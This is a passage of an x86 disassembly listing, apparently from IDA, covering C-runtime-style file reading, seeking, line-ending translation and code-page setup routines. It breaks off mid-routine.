; =============== S U B	R O U T	I N E =======================================



sub_41E224	proc near		; CODE XREF: sub_41D797+63p
					; sub_41D797+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41E22A:				; CODE XREF: sub_41E224+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41E1F3
		mov	edi, eax
		push	edi
		call	sub_420F60
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E22A
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41E224	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E248	proc near		; CODE XREF: sub_418A86+A9p
					; sub_41900C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41E31C
		test	al, 40h
		jnz	loc_41E31C
		test	al, 2
		jz	short loc_41E26E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41E31C
; ---------------------------------------------------------------------------


loc_41E26E:				; CODE XREF: sub_41E248+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41E282
		push	esi
		call	sub_41F9D8
		pop	ecx
		jmp	short loc_41E287
; ---------------------------------------------------------------------------


loc_41E282:				; CODE XREF: sub_41E248+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41E287:				; CODE XREF: sub_41E248+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41E30B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E30B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41E2E0
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41E2C9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_48B340[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41E2CE
; ---------------------------------------------------------------------------


loc_41E2C9:				; CODE XREF: sub_41E248+6Bj
		mov	edi, offset dword_43BC20


loc_41E2CE:				; CODE XREF: sub_41E248+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41E2E0
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41E2E0:				; CODE XREF: sub_41E248+62j
					; sub_41E248+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41E2FD
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41E2FD
		test	ch, 4
		jnz	short loc_41E2FD
		mov	dword ptr [esi+18h], 1000h


loc_41E2FD:				; CODE XREF: sub_41E248+9Fj
					; sub_41E248+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E30B:				; CODE XREF: sub_41E248+55j
					; sub_41E248+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41E31C:				; CODE XREF: sub_41E248+Aj
					; sub_41E248+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41E248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E321	proc near		; CODE XREF: sub_418A86+90p
					; sub_41E248+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_48B440
		jnb	loc_41E4FE
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:48B340h[eax*4]
		mov	eax, dword_48B340[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41E4FE
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41E3D6
		test	dl, 2
		jnz	short loc_41E3D6
		test	dl, 48h
		jz	short loc_41E396
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41E396
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41E396:				; CODE XREF: sub_41E321+56j
					; sub_41E321+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	short loc_41E3E9
		call	near ptr 2650BAEh
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41E3D1
		mov	dword_48A014, 9
		mov	dword_48A018, ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------


loc_41E3D1:				; CODE XREF: sub_41E321+99j
		cmp	eax, 6Dh
		jnz	short loc_41E3DD


loc_41E3D6:				; CODE XREF: sub_41E321+4Cj
					; sub_41E321+51j
		xor	eax, eax
		jmp	loc_41E512
; ---------------------------------------------------------------------------


loc_41E3DD:				; CODE XREF: sub_41E321+B3j
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------


loc_41E3E9:				; CODE XREF: sub_41E321+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41E4F9
		test	edx, edx
		jz	short loc_41E40E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41E40E
		or	al, 4
		jmp	short loc_41E410
; ---------------------------------------------------------------------------


loc_41E40E:				; CODE XREF: sub_41E321+E2j
					; sub_41E321+E7j
		and	al, 0FBh


loc_41E410:				; CODE XREF: sub_41E321+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41E4F3


loc_41E428:				; CODE XREF: sub_41E321+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41E4E3
		cmp	al, 0Dh
		jz	short loc_41E444
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E444:				; CODE XREF: sub_41E321+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41E462
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E459
		add	[ebp+arg_8], 2
		jmp	short loc_41E4B7
; ---------------------------------------------------------------------------


loc_41E459:				; CODE XREF: sub_41E321+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E462:				; CODE XREF: sub_41E321+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	short loc_41E48A
		call	near ptr 2650BAEh
		nop
		test	eax, eax
		jnz	short loc_41E4D1


loc_41E48A:				; CODE XREF: sub_41E321+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41E4D1
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41E4AC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41E4B7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E4AC:				; CODE XREF: sub_41E321+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41E4BC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41E4BC


loc_41E4B7:				; CODE XREF: sub_41E321+136j
					; sub_41E321+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41E4D4
; ---------------------------------------------------------------------------


loc_41E4BC:				; CODE XREF: sub_41E321+18Ej
					; sub_41E321+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41E517
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41E4D5


loc_41E4D1:				; CODE XREF: sub_41E321+167j
					; sub_41E321+16Dj
		mov	byte ptr [edi],	0Dh


loc_41E4D4:				; CODE XREF: sub_41E321+199j
		inc	edi


loc_41E4D5:				; CODE XREF: sub_41E321+11Ej
					; sub_41E321+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41E428
		jmp	short loc_41E4F3
; ---------------------------------------------------------------------------


loc_41E4E3:				; CODE XREF: sub_41E321+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41E4F3
		or	al, 2
		mov	[esi], al


loc_41E4F3:				; CODE XREF: sub_41E321+101j
					; sub_41E321+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41E4F9:				; CODE XREF: sub_41E321+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41E512
; ---------------------------------------------------------------------------


loc_41E4FE:				; CODE XREF: sub_41E321+12j
					; sub_41E321+39j
		and	dword_48A018, 0
		mov	dword_48A014, 9


loc_41E50F:				; CODE XREF: sub_41E321+ABj
					; sub_41E321+C3j
		or	eax, 0FFFFFFFFh


loc_41E512:				; CODE XREF: sub_41E321+B7j
					; sub_41E321+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E321	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E517	proc near		; CODE XREF: sub_418D0E+67p
					; sub_419D23+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_48B440
		push	esi
		push	edi
		jnb	short loc_41E599
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41E599
		push	eax
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E55B
		mov	dword_48A014, 9
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------


loc_41E55B:				; CODE XREF: sub_41E517+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 26D0000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E57B
		nop
		call	near ptr 2650BAEh
		jmp	short loc_41E57D
; ---------------------------------------------------------------------------


loc_41E57B:				; CODE XREF: sub_41E517+5Aj
		xor	eax, eax


loc_41E57D:				; CODE XREF: sub_41E517+62j
		test	eax, eax
		jz	short loc_41E58A
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------


loc_41E58A:				; CODE XREF: sub_41E517+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41E5AD
; ---------------------------------------------------------------------------


loc_41E599:				; CODE XREF: sub_41E517+Dj
					; sub_41E517+2Aj
		and	dword_48A018, 0
		mov	dword_48A014, 9


loc_41E5AA:				; CODE XREF: sub_41E517+42j
					; sub_41E517+71j
		or	eax, 0FFFFFFFFh


loc_41E5AD:				; CODE XREF: sub_41E517+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E517	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5B1	proc near		; CODE XREF: sub_418D0E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41E5CD
		mov	[edi+4], ebx


loc_41E5CD:				; CODE XREF: sub_41E5B1+17j
		push	1
		push	ebx
		push	esi
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41E63B
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41E5F2
		sub	eax, [edi+4]
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E5F2:				; CODE XREF: sub_41E5B1+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41E62C
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_48B340[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41E643
		mov	edx, ecx


loc_41E61D:				; CODE XREF: sub_41E5B1+79j
		cmp	edx, eax
		jnb	short loc_41E643
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41E629
		inc	[ebp+var_8]


loc_41E629:				; CODE XREF: sub_41E5B1+73j
		inc	edx
		jmp	short loc_41E61D
; ---------------------------------------------------------------------------


loc_41E62C:				; CODE XREF: sub_41E5B1+50j
		test	dl, 80h
		jnz	short loc_41E643
		mov	dword_48A014, 16h


loc_41E63B:				; CODE XREF: sub_41E5B1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E643:				; CODE XREF: sub_41E5B1+68j
					; sub_41E5B1+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41E651
		mov	eax, [ebp+var_8]
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E651:				; CODE XREF: sub_41E5B1+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41E6FC
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41E66A
		and	[ebp+var_8], edx
		jmp	loc_41E6FC
; ---------------------------------------------------------------------------


loc_41E66A:				; CODE XREF: sub_41E5B1+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41E6F6
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41E6BD
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41E6A8:				; CODE XREF: sub_41E5B1+104j
		cmp	eax, ecx
		jnb	short loc_41E6B7
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E6B4
		inc	[ebp+arg_0]


loc_41E6B4:				; CODE XREF: sub_41E5B1+FEj
		inc	eax
		jmp	short loc_41E6A8
; ---------------------------------------------------------------------------


loc_41E6B7:				; CODE XREF: sub_41E5B1+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41E6F1
; ---------------------------------------------------------------------------


loc_41E6BD:				; CODE XREF: sub_41E5B1+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41E517
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41E6E4
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41E6E4
		test	ch, 4
		jz	short loc_41E6E7


loc_41E6E4:				; CODE XREF: sub_41E5B1+124j
					; sub_41E5B1+12Cj
		mov	eax, [edi+18h]


loc_41E6E7:				; CODE XREF: sub_41E5B1+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41E6F1:				; CODE XREF: sub_41E5B1+10Aj
		jz	short loc_41E6F6
		inc	[ebp+arg_0]


loc_41E6F6:				; CODE XREF: sub_41E5B1+D9j
					; sub_41E5B1:loc_41E6F1j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41E6FC:				; CODE XREF: sub_41E5B1+A4j
					; sub_41E5B1+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41E704:				; CODE XREF: sub_41E5B1+3Cj
					; sub_41E5B1+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E5B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E709	proc near		; CODE XREF: sub_419063+47p
					; sub_419063+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248E0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_48A0C0, edi
		jnz	short loc_41E77F
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2880000h
		test	eax, eax
		jz	short loc_41E75D
		mov	dword_48A0C0, ebx
		jmp	short loc_41E77F
; ---------------------------------------------------------------------------


loc_41E75D:				; CODE XREF: sub_41E709+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_43C824
		push	esi
		push	edi
		nop
		call	near ptr 2870000h
		test	eax, eax
		jz	loc_41E897
		mov	dword_48A0C0, 2


loc_41E77F:				; CODE XREF: sub_41E709+2Ej
					; sub_41E709+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41E794
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41E794:				; CODE XREF: sub_41E709+79j
		mov	eax, dword_48A0C0
		cmp	eax, 2
		jnz	short loc_41E7BB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2870000h
		jmp	loc_41E899
; ---------------------------------------------------------------------------


loc_41E7BB:				; CODE XREF: sub_41E709+93j
		cmp	eax, 1
		jnz	loc_41E897
		cmp	[ebp+arg_18], edi
		jnz	short loc_41E7D1
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax


loc_41E7D1:				; CODE XREF: sub_41E709+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2620000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41E897
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E82C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41E82C:				; CODE XREF: sub_41E709+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41E897
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_41E897
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2880000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41E897
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41E8AB
		cmp	[ebp+arg_14], edi
		jz	loc_41E926
		cmp	esi, [ebp+arg_14]
		jg	short loc_41E897
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2880000h
		test	eax, eax
		jnz	loc_41E926


loc_41E897:				; CODE XREF: sub_41E709+66j
					; sub_41E709+B5j ...
		xor	eax, eax


loc_41E899:				; CODE XREF: sub_41E709+ADj
					; sub_41E709+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41E8AB:				; CODE XREF: sub_41E709+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E8DF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41E8DF:				; CODE XREF: sub_41E709+1C2j
		cmp	ebx, edi
		jz	short loc_41E897
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2880000h
		test	eax, eax
		jz	short loc_41E897
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41E906
		push	edi
		push	edi
		jmp	short loc_41E90C
; ---------------------------------------------------------------------------


loc_41E906:				; CODE XREF: sub_41E709+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41E90C:				; CODE XREF: sub_41E709+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 27C0000h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41E897


loc_41E926:				; CODE XREF: sub_41E709+165j
					; sub_41E709+188j
		mov	eax, esi
		jmp	loc_41E899
sub_41E709	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E92D	proc near		; CODE XREF: sub_41ECF1+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41EAC6
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_48B444
		mov	[ebp+arg_0], esi
		jz	loc_41EABA
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41EAB0
		xor	edx, edx
		mov	eax, offset dword_43B940


loc_41E961:				; CODE XREF: sub_41E92D+41j
		cmp	[eax], esi
		jz	short loc_41E9D7
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43BA30
		jl	short loc_41E961
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 2881391h
		cmp	eax, 1
		jnz	loc_41EAA8
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_48B560
		cmp	[ebp+var_18], 1
		mov	dword_48B444, esi
		rep stosd
		stosb
		mov	dword_48B664, ebx
		jbe	loc_41EA96
		cmp	[ebp+var_12], 0
		jz	loc_41EA6C
		lea	ecx, [ebp+var_11]


loc_41E9B4:				; CODE XREF: sub_41E92D+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41EA6C
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41E9C5:				; CODE XREF: sub_41E92D+A8j
		cmp	eax, edx
		ja	loc_41EA60
		or	byte_48B561[eax], 4
		inc	eax
		jmp	short loc_41E9C5
; ---------------------------------------------------------------------------


loc_41E9D7:				; CODE XREF: sub_41E92D+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_48B560
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43B950[esi]


loc_41E9F3:				; CODE XREF: sub_41E92D+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41EA26


loc_41E9FA:				; CODE XREF: sub_41E92D+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41EA26
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41EA1F
		mov	edx, [ebp+var_4]
		mov	dl, byte_43B938[edx]


loc_41EA14:				; CODE XREF: sub_41E92D+F0j
		or	byte_48B561[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41EA14


loc_41EA1F:				; CODE XREF: sub_41E92D+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41E9FA


loc_41EA26:				; CODE XREF: sub_41E92D+CBj
					; sub_41E92D+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41E9F3
		mov	eax, [ebp+arg_0]
		mov	dword_48B45C, 1
		push	eax
		mov	dword_48B444, eax
		call	sub_41EB10
		lea	esi, dword_43B944[esi]
		mov	edi, offset dword_48B450
		movsd
		movsd
		pop	ecx
		mov	dword_48B664, eax
		movsd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA60:				; CODE XREF: sub_41E92D+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41E9B4


loc_41EA6C:				; CODE XREF: sub_41E92D+7Ej
					; sub_41E92D+8Bj
		push	1
		pop	eax


loc_41EA6F:				; CODE XREF: sub_41E92D+14Fj
		or	byte_48B561[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41EA6F
		push	esi
		call	sub_41EB10
		pop	ecx
		mov	dword_48B664, eax
		mov	dword_48B45C, 1
		jmp	short loc_41EA9C
; ---------------------------------------------------------------------------


loc_41EA96:				; CODE XREF: sub_41E92D+74j
		mov	dword_48B45C, ebx


loc_41EA9C:				; CODE XREF: sub_41E92D+167j
		xor	eax, eax
		mov	edi, offset dword_48B450
		stosd
		stosd
		stosd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EAA8:				; CODE XREF: sub_41E92D+51j
		cmp	dword_48A0C4, ebx
		jz	short loc_41EABE


loc_41EAB0:				; CODE XREF: sub_41E92D+27j
		call	sub_41EB43


loc_41EAB5:				; CODE XREF: sub_41E92D+131j
					; sub_41E92D+179j
		call	sub_41EB6C


loc_41EABA:				; CODE XREF: sub_41E92D+1Dj
		xor	eax, eax
		jmp	short loc_41EAC1
; ---------------------------------------------------------------------------


loc_41EABE:				; CODE XREF: sub_41E92D+181j
		or	eax, 0FFFFFFFFh


loc_41EAC1:				; CODE XREF: sub_41E92D+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E92D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EAC6	proc near		; CODE XREF: sub_41E92D+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_48A0C4, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41EAE6
		mov	dword_48A0C4, 1
		nop
		jmp	near ptr 25F0266h
; ---------------------------------------------------------------------------


loc_41EAE6:				; CODE XREF: sub_41EAC6+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41EAFB
		mov	dword_48A0C4, 1
		nop
		jmp	near ptr 2881A48h
; ---------------------------------------------------------------------------


loc_41EAFB:				; CODE XREF: sub_41EAC6+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41EB0F
		mov	eax, dword_48A0B8
		mov	dword_48A0C4, 1

locret_41EB0F:				; CODE XREF: sub_41EAC6+38j
		retn
sub_41EAC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB10	proc near		; CODE XREF: sub_41E92D+118p
					; sub_41E92D+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41EB3D
		sub	eax, 4
		jz	short loc_41EB37
